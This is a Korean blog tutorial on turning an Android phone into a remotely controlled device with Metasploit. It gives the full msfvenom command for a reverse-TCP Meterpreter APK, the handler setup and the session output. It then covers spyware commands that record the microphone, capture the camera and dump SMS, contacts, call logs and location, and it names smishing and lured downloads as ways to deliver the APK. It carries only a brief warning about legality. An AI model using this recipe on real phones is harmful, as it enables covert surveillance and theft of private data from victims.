MSFVENOM을 이용한 Android 침투 및 Meterpreter Shell 사용

metasploit 은 공격을 위한 도구 중 정말 유용하고 Custom 하기에도 좋은 툴입니다. 대체로 linux, unix, windows 시스템에 대해 테스트를 하고 shell 을 삽입 했었는데, Android 에서 작동하는 Meterpreter shell 은 어떨까? 라는 생각이 들어 해보았습니다.

일단 간단하게 msfvenom을 이용하여 악성 apk 파일을 생성해봅시다.

물론 msfvenom을 통해 생성한 악성파일은 인코딩 과정없이 Payload를 그대로 APK로 만들었기 때문에 아마 백신에는 높은 확률로 탐지될겁니다 😵‍💫

Generate APK

아래 명령으로 meterpreter 쉘을 로드하는 apk를 만들어줍니다.

msfvenom -p android/meterpreter/reverse_tcp \
    LHOST=***.***.***.*** \
    LPORT=4444 R > test_shell.apk
# output
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8199 bytes

Set metasploit

앱 배포 전 metasploit 에서는 handler 를 통해 대기모드로 전환시킵니다. bind shell 을 사용하셨다면 상관없겠네요.

hahwul #> use exploit/multi/handler

세팅하실 거 세팅하시고..

hahwul exploit(handler) #> run

[-] Handler failed to bind to ***.***.***.***:4444
....

이제 대기합니다.

Install apk to target

생성한 APK를 Android Device 에 설치합니다. APK 설치는 Exploit 이나 스미싱, 다운로드 유도 등이 있겠네요. 물론 테스트 기기 대상으로 해주세요. 타인에게 행하는건 범죄 행위입니다.

그리고 Android Devices 에서 앱 실행 시 Metasploit으로 Remote Shell이 연결됩니다.

hahwul exploit(handler) #> run

[-] Handler failed to bind to ***.***.***.***:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Sending stage (50643 bytes) to ***.***.***.***
[*] Meterpreter session 1 opened (***.***.***.***:4444 -> ***.***.***.***:51788) at 2015-08-03 15:39:50 +0900

meterpreter shell이 활성화 되었기 때문에 미리 지정된 기능들을 통해 쉽게 타겟 안드로이드 디바이스를 탐색할 수 있습니다.

meterpreter > pwd
/data/data/com.metasploit.stage
meterpreter > sysinfo
Computer    : localhost
OS          : Android 5.0.1 - Linux 3.10.40-4192068 (armv7l)
Meterpreter : java/android

Metepreter Command (Android)

Metepreter shell의 Android 관련 command입니다. 기본적인 metepreter shell 명령 및 시스템 command 말고도 android 에 특화된 command 사용이 가능합니다. command를 보면 Webcam, 녹음 및 정보 탈취 명령 등이 있습니다.

record_mic     Record audio from the default microphone for X seconds
    + record_mic는 지정한 시간동안 휴대폰 마이크를 통해 주변 소리를 녹음합니다.
webcam_chat    Start a video chat
    + 확인해보지 않아서 잘은 모르겠어요.. video chat을 시작합니다.
webcam_list    List webcams
    + webcam 리스트를 확인합니다.
webcam_snap    Take a snapshot from the specified webcam
    + 카메라를 통해 캡쳐를 한 후 공격자에게 전달합니다.
webcam_stream  Play a video stream from the specified webcam
    + 카메라를 통해 연속적인 스트림(영상)으로 공격자에게 전달합니다(html 형식으로 떨어짐)

...

check_root     Check if device is rooted
    + Rooting 여부를 확인합니다. 정확하지 않을때가 있어요.
dump_calllog   Get call log
    + 전화 송/수신 로그를 덤프합니다. 공격자 PC로 바로 떨어집니다.
dump_contacts  Get contacts list
    + 전화번호후 리스트를 덤프합니다. 공격자 PC로 바로 떨어집니다.
dump_sms       Get sms messages
    + SMS 문자 내역을 덤프합니다. 공격자 PC로 바로 떨어집니다.
geolocate      Get current lat-long using geolocation
    + Target Android Devices 의 위치정보(위도,경도) 및 google map 주소를 제공합니다.

기능 사용 시 아래와 같습니다.

meterpreter > dump_calllog
[*] Fetching 13 entries
[*] Call log saved to calllog_dump_20150803154416.txt
meterpreter > dump_contacts
[*] Fetching 1 contact into list
[*] Contacts list saved to: contacts_dump_20150803154419.txt
meterpreter > geolocate
[*] Current Location:
Latitude:  위치정보..
Longitude: 위치정보..